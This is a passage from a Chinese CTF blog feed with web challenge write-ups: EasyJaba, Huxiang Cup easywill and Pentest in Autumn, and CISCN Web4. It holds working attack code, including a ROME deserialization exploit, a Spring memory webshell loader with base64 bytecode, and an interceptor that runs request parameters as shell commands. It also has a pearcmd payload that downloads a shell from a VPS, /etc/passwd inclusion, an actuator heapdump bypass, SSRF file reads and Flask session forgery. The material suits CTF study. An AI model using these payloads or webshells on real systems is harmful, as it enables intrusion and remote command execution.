class="line">conn.send(<span class="string">b&#x27;230 Login successful.\n&#x27;</span>)</span><br><span class="line"><span class="comment">#User logged in, proceed. Logged out if appropriate.</span></span><br><span class="line"><span class="comment">#TYPE I</span></span><br><span class="line">conn.send(<span class="string">b&#x27;200 Switching to Binary mode.\n&#x27;</span>)</span><br><span class="line"><span class="comment">#Size /</span></span><br><span class="line">conn.send(<span class="string">b&#x27;550 Could not get the file size.\n&#x27;</span>)</span><br><span class="line"><span class="comment">#EPSV (1)</span></span><br><span class="line">conn.send(<span class="string">b&#x27;150 ok\n&#x27;</span>)</span><br><span class="line"><span class="comment">#PASV</span></span><br><span class="line">conn.send(<span class="string">b&#x27;227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n&#x27;</span>) <span class="comment">#STOR / (2)</span></span><br><span class="line">conn.send(<span class="string">b&#x27;150 Permission denied.\n&#x27;</span>)</span><br><span class="line"><span class="comment">#QUIT</span></span><br><span class="line">conn.send(<span class="string">b&#x27;221 Goodbye.\n&#x27;</span>)</span><br><span class="line">conn.close()</span><br><span class="line">print(<span class="string">&quot;endd&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="easyjaba"><a class="markdownIt-Anchor" href="#easyjaba">#</a> EasyJaba</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">反序列化。不能有hashmap和BadAttributeValueExpException</span><br></pre></td></tr></table></figure><p>有 ROME 依赖。刚好需要一个 tostring。</p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/202111211422918.png" alt="image-20211107195001054"></p><p>自己加了个 tostring</p><p>题目不出网。考虑写内存马 + 命令执行回显</p><p>ROME exp</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.syndication.feed.impl.ObjectBean;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> javassist.CtMethod;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.io.FileUtils;</span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Modifier;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Exp</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception</span>&#123;</span><br><span class="line">        <span class="comment">// 生成恶意 bytecodes</span></span><br><span class="line">        String code = <span class="string">&quot;&#123;printName();&#125;&quot;</span>;</span><br><span class="line">        ClassPool pool = ClassPool.getDefault();</span><br><span class="line">        CtClass clazz = pool.get(test.class.getName());</span><br><span class="line">        clazz.setSuperclass(pool.get(Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet&quot;</span>).getName()));</span><br><span class="line">        clazz.makeClassInitializer().insertBefore(code);</span><br><span class="line">        <span class="keyword">byte</span>[][] bytecodes = <span class="keyword">new</span> <span class="keyword">byte</span>[][]&#123;clazz.toBytecode()&#125;;</span><br><span class="line">        File classFilePath = <span class="keyword">new</span> File(<span class="keyword">new</span> File(System.getProperty(<span class="string">&quot;user.dir&quot;</span>), <span class="string">&quot;&quot;</span>), <span class="string">&quot;test.class&quot;</span>);</span><br><span class="line">        FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());</span><br><span class="line">        <span class="comment">// 实例化类并设置属性</span></span><br><span class="line">        TemplatesImpl templatesimpl = <span class="keyword">new</span> TemplatesImpl();</span><br><span class="line">        Field fieldByteCodes = templatesimpl.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        fieldByteCodes.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">        fieldByteCodes.set(templatesimpl, bytecodes);</span><br><span class="line">        Field fieldName = templatesimpl.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        fieldName.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">        fieldName.set(templatesimpl, <span class="string">&quot;test&quot;</span>);</span><br><span class="line">        Field fieldTfactory = templatesimpl.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        fieldTfactory.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">        fieldTfactory.set(templatesimpl, Class.forName(<span class="string">&quot;com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl&quot;</span>).newInstance());</span><br><span class="line">        <span class="comment">// 要通过2个objectbean才能达成触发条件</span></span><br><span class="line">        ObjectBean objectBean1 = <span class="keyword">new</span> ObjectBean(Templates.class, templatesimpl);</span><br><span class="line">        <span class="comment">//objectBean1.toString();</span></span><br><span class="line">        <span class="comment">// 输出base64后的序列化数据</span></span><br><span class="line">        ByteArrayOutputStream byteArrayOutputStream = <span class="keyword">new</span> ByteArrayOutputStream();</span><br><span class="line">        ObjectOutputStream out = <span class="keyword">new</span> ObjectOutputStream(byteArrayOutputStream);</span><br><span class="line">        out.writeObject(objectBean1);</span><br><span class="line">        <span class="keyword">byte</span>[] sss = byteArrayOutputStream.toByteArray();</span><br><span class="line">        out.close();</span><br><span class="line">        String exp = Base64.getEncoder().encodeToString(sss);</span><br><span class="line">        System.out.println(exp);</span><br><span class="line">        <span class="comment">//byte[] obj_byte = Base64.getDecoder().decode(exp);</span></span><br><span class="line">        <span class="comment">//InputStream inputStream = new ByteArrayInputStream(obj_byte);</span></span><br><span class="line">        <span class="comment">//ObjectInputStream obj = new ObjectInputStream(inputStream);</span></span><br><span class="line">        <span class="comment">//obj.readObject().toString();</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>内存马：test.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.springframework.util.Base64Utils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.context.WebApplicationContext;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.context.request.RequestContextHolder;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.servlet.handler.AbstractHandlerMapping;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">guoke</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">printName</span><span class="params">()</span> <span class="keyword">throws</span> NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException </span>&#123;</span><br><span class="line">        String className = <span class="string">&quot;com.lyzy.ctf.ezjaba.controller.cmdController&quot;</span>;</span><br><span class="line">        <span class="keyword">byte</span>[] bytes = Base64Utils.decodeFromString(<span class="string">&quot;yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxjb20vbHl6eS9jdGYvZXpqYWJhL2NvbnRyb2xsZXIvY21kQ29udHJvbGxlcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQASY21kQ29udHJvbGxlci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAsY29tL2x5enkvY3RmL2V6amFiYS9jb250cm9sbGVyL2NtZENvbnRyb2xsZXIBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAACAAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF&quot;</span>);</span><br><span class="line">        <span class="comment">//控制器的bytecode</span></span><br><span class="line">        ClassLoader classLoader = Thread.currentThread().getClass().getClassLoader();</span><br><span class="line">        Method method = ClassLoader.class.getDeclaredMethod(<span class="string">&quot;defineClass&quot;</span>, String.class, <span class="keyword">byte</span>[].class, <span class="keyword">int</span>.class, <span class="keyword">int</span>.class);</span><br><span class="line">        method.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">        method.invoke(classLoader, className, bytes, <span class="number">0</span>, bytes.length);</span><br><span class="line">        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute(<span class="string">&quot;org.springframework.web.servlet.DispatcherServlet.CONTEXT&quot;</span>, <span class="number">0</span>);</span><br><span class="line">        AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) context.getBean(<span class="string">&quot;requestMappingHandlerMapping&quot;</span>);</span><br><span class="line">        Field field = AbstractHandlerMapping.class.getDeclaredField(<span class="string">&quot;adaptedInterceptors&quot;</span>);</span><br><span class="line">        field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">        ArrayList&lt;Object&gt; adaptedInterceptors = (ArrayList&lt;Object&gt;) field.get(abstractHandlerMapping);</span><br><span class="line">        adaptedInterceptors.add(classLoader.loadClass(className).newInstance());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>命令执行回显的控制器。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyzy.ctf.ezjaba.controller;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.servlet.handler.HandlerInterceptorAdapter;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletResponse;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">cmdController</span>  <span class="keyword">extends</span> <span class="title">HandlerInterceptorAdapter</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">preHandle</span><span class="params">(HttpServletRequest request, HttpServletResponse response, Object handler)</span> <span class="keyword">throws</span> Exception </span>&#123;</span><br><span class="line">        String code = request.getParameter(<span class="string">&quot;code&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span>(code != <span class="keyword">null</span>)&#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                java.io.PrintWriter writer = response.getWriter();</span><br><span class="line">                String o = <span class="string">&quot;&quot;</span>;</span><br><span class="line">                ProcessBuilder p;</span><br><span class="line">                <span class="keyword">if</span>(System.getProperty(<span class="string">&quot;os.name&quot;</span>).toLowerCase().contains(<span class="string">&quot;win&quot;</span>))&#123;</span><br><span class="line">                    p = <span class="keyword">new</span> ProcessBuilder(<span class="keyword">new</span> String[]&#123;<span class="string">&quot;cmd.exe&quot;</span>, <span class="string">&quot;/c&quot;</span>, code&#125;);</span><br><span class="line">                &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                    p = <span class="keyword">new</span> ProcessBuilder(<span class="keyword">new</span> String[]&#123;<span class="string">&quot;/bin/sh&quot;</span>, <span class="string">&quot;-c&quot;</span>, code&#125;);</span><br><span class="line">                &#125;</span><br><span class="line">                java.util.Scanner c = <span class="keyword">new</span> java.util.Scanner(p.start().getInputStream()).useDelimiter(<span class="string">&quot;\\A&quot;</span>);</span><br><span class="line">                o = c.hasNext() ? c.next(): o;</span><br><span class="line">                c.close();</span><br><span class="line">                writer.write(o);</span><br><span class="line">                writer.flush();</span><br><span class="line">                writer.close();</span><br><span class="line">            &#125;<span class="keyword">catch</span> (Exception e)&#123;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x03-湖湘杯"><a class="markdownIt-Anchor" href="#0x03-湖湘杯">#</a> 0x03 湖湘杯</h1><h2 id="web-3"><a class="markdownIt-Anchor" href="#web-3">#</a> web</h2><h3 id="easywill"><a class="markdownIt-Anchor" href="#easywill">#</a> easywill</h3><p>变量覆盖  任意文件包含</p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/202111211425510.png" alt="img"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?name&#x3D;cfile&amp;value&#x3D;&#x2F;etc&#x2F;passwd</span><br></pre></td></tr></table></figure><p>可以利用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pearcmd.php&amp;+download+VPS&#x2F;shell.php</span><br></pre></td></tr></table></figure><p>可以参考 p 神 <a href="http://tttang.com/archive/1312/#toc_0x06-pearcmdphp">pearcmd 妙用</a></p><h3 id="pentest-in-autumn"><a class="markdownIt-Anchor" href="#pentest-in-autumn">#</a> Pentest in Autumn</h3><p>java 一把梭</p><p>利用扫描工具 发现存在 java /actuator 路径泄露，确定为 Java 的 Spring 框架，直接访问 actuator/heapdump 文件无法访问，所以需要绕过，/;/actuator/heapdump</p><p>下载 /;/actuator/heapdump 导入分析工具</p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/202111211431394.png" alt=""></p><p>编写 python 脚本 生成密钥</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line">print(base64.b64encode(struct.pack(<span class="string">&#x27;&lt;bbbbbbbbbbbbbbbb&#x27;</span>, <span class="number">89</span>,-<span class="number">26</span>,<span class="number">90</span>,-<span class="number">9</span>,<span class="number">106</span>,<span class="number">118</span>,-<span class="number">109</span>,<span class="number">16</span>,-<span class="number">98</span>,<span class="number">73</span>,<span class="number">38</span>,<span class="number">62</span>,<span class="number">88</span>,<span class="number">127</span>,-<span class="number">92</span>,-<span class="number">68</span>)))  </span><br></pre></td></tr></table></figure><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/202111211432288.png" alt="img"></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>华东南赛区Web4</title>
    <link href="http://www.cclss.top/post/ciscn2019_web4/"/>
    <id>http://www.cclss.top/post/ciscn2019_web4/</id>
    <published>2021-09-27T13:15:20.000Z</published>
    <updated>2021-09-27T13:15:20.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h2 id="涉及知识点"><a class="markdownIt-Anchor" href="#涉及知识点">#</a> 涉及知识点</h2><ul><li>信息收集 任意文件读取</li><li>Flask 模块</li><li>伪随机数</li><li>session 构造</li></ul><h2 id="题目分析"><a class="markdownIt-Anchor" href="#题目分析">#</a> 题目分析</h2><blockquote><p>打开题目 Hello World! <a href="">Read somethings</a></p><p>给出一个链接 点击后 跳转到百度界面</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;xxx.buuoj.cn:81&#x2F;read?url&#x3D;https:&#x2F;&#x2F;baidu.com</span><br></pre></td></tr></table></figure><p>初步推测 ssrf   尝试 file 协议失败   <code>local_file://</code>  协议成功 读取文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?url&#x3D;local_file:&#x2F;&#x2F;&#x2F;proc&#x2F;self&#x2F;cmdline   </span><br><span class="line">#&#x2F;usr&#x2F;local&#x2F;bin&#x2F;python&#x2F;app&#x2F;app.py</span><br><span class="line">?url&#x3D;local_file:&#x2F;&#x2F;app&#x2F;app.py</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># encoding:utf-8</span></span><br><span class="line"><span class="keyword">import</span> re, random, uuid, urllib</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, session, request</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line">random.seed(uuid.getnode())</span><br><span class="line">app.config[<span class="string">&#x27;SECRET_KEY&#x27;</span>] = <span class="built_in">str</span>(random.random()*<span class="number">233</span>)</span><br><span class="line">app.debug = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span></span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index</span>():</span></span><br><span class="line">    session[<span class="string">&#x27;username&#x27;</span>] = <span class="string">&#x27;www-data&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;Hello World! &lt;a href=&quot;/read?url=https://baidu.com&quot;&gt;Read somethings&lt;/a&gt;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/read&#x27;</span></span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">read</span>():</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        url = request.args.get(<span class="string">&#x27;url&#x27;</span>)</span><br><span class="line">        m = re.findall(<span class="string">&#x27;^file.*&#x27;</span>, url, re.IGNORECASE)</span><br><span class="line">        n = re.findall(<span class="string">&#x27;flag&#x27;</span>, url, re.IGNORECASE)</span><br><span class="line">        <span class="keyword">if</span> m <span class="keyword">or</span> n:</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;No Hack&#x27;</span></span><br><span class="line">        res = urllib.urlopen(url)</span><br><span class="line">        <span class="keyword">return</span> res.read()</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:</span><br><span class="line">        <span class="built_in">print</span> <span class="built_in">str</span>(ex)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;no response&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/flag&#x27;</span></span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">flag</span>():</span></span><br><span class="line">    <span class="keyword">if</span> session <span class="keyword">and</span> session[<span class="string">&#x27;username&#x27;</span>] == <span class="string">&#x27;fuck&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">open</span>(<span class="string">&#x27;/flag.txt&#x27;</span>).read()</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;Access denied&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__==<span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(</span><br><span class="line">        debug=<span class="literal">True</span>,</span><br><span class="line">        host=<span class="string">&quot;0.0.0.0&quot;</span></span><br><span class="line">    )</span><br><span class="line"></span><br></pre></td></tr></table></figure><blockquote><p>分析源码可知 当访问  /flag 时 session [‘username’] == ‘fuck’  可以直接获得 flag</p></blockquote><h2 id="开始构造"><a class="markdownIt-Anchor" href="#开始构造">#</a> 开始构造</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">random.seed(uuid.getnode())</span><br><span class="line">app.config[<span class="string">&#x27;SECRET_KEY&#x27;</span>] = <span class="built_in">str</span>(random.random()*<span class="number">233</span>)</span><br></pre></td></tr></table></figure><p>对于随机数如果 seed 固定 则生成随机数可预测</p><blockquote><p>tips:  uuid.getnode () 获得 mac 地址<img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/202109272057219.png" alt="image-20210927205724149"></p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">random.seed(1)</span><br><span class="line">print(random.random())</span><br><span class="line">#如果使用python3 可以推测第一次都为 0.13436424411240122  同理如果我们获得 seed 即可构造session</span><br></pre></td></tr></table></figure><p>linux 下 mac 地址的位置   <code>/sys/class/net/eth0/address</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import random</span><br><span class="line">mac &#x3D; &quot;02:42:ac:10:83:a8&quot;</span><br><span class="line">random.seed(int(mac.replace(&quot;:&quot;, &quot;&quot;), 16))</span><br><span class="line">key &#x3D; 